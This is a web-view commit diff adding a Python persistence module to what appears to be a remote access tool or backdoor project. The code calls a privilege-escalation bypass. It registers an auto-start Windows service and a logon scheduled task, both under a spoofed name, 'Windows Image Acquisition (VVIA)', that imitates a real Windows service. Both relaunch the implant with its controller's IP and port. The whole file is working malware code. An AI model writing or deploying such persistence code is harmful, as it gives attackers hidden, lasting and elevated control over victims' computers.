summaryrefslogtreecommitdiff
path: root/foreign/client_handling/persistence.py
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/persistence.py')
-rw-r--r--foreign/client_handling/persistence.py19
1 files changed, 19 insertions, 0 deletions
diff --git a/foreign/client_handling/persistence.py b/foreign/client_handling/persistence.py
new file mode 100644
index 0000000..bc81084
--- /dev/null
+++ b/foreign/client_handling/persistence.py
@@ -0,0 +1,19 @@
+from foreign.privileges.win_privileges import *
+from foreign.utility.terminal_pipe import *
+from foreign.global_state import *
+
+
+def persistence(action_type, extra_data):
+ arguments = f' -ip {state["ip"]} -p {state["port"]}'
+
+ if action_type == 'elevate':
+ return bypass(state['file'], arguments)
+ elif action_type == 'service':
+ try:
+ terminal_pipe(f'sc delete "Windows Image Acquisition (VVIA)"', extra_data[0], extra_data[1])
+ finally:
+ return {'message': terminal_pipe(f'sc create "Windows Image Acquisition (VVIA)" binpath= "{state["file"]}{arguments}" start= "auto"', extra_data[0], extra_data[1])}
+ elif action_type == 'schedule':
+ return {'message': terminal_pipe(f'schtasks /Create /SC ONLOGON /TN "Windows Image Acquisition (VVIA)" /TR "{state["file"]}{arguments}" /F', extra_data[0], extra_data[1])}
+ else:
+ raise Exception('Error message') \ No newline at end of file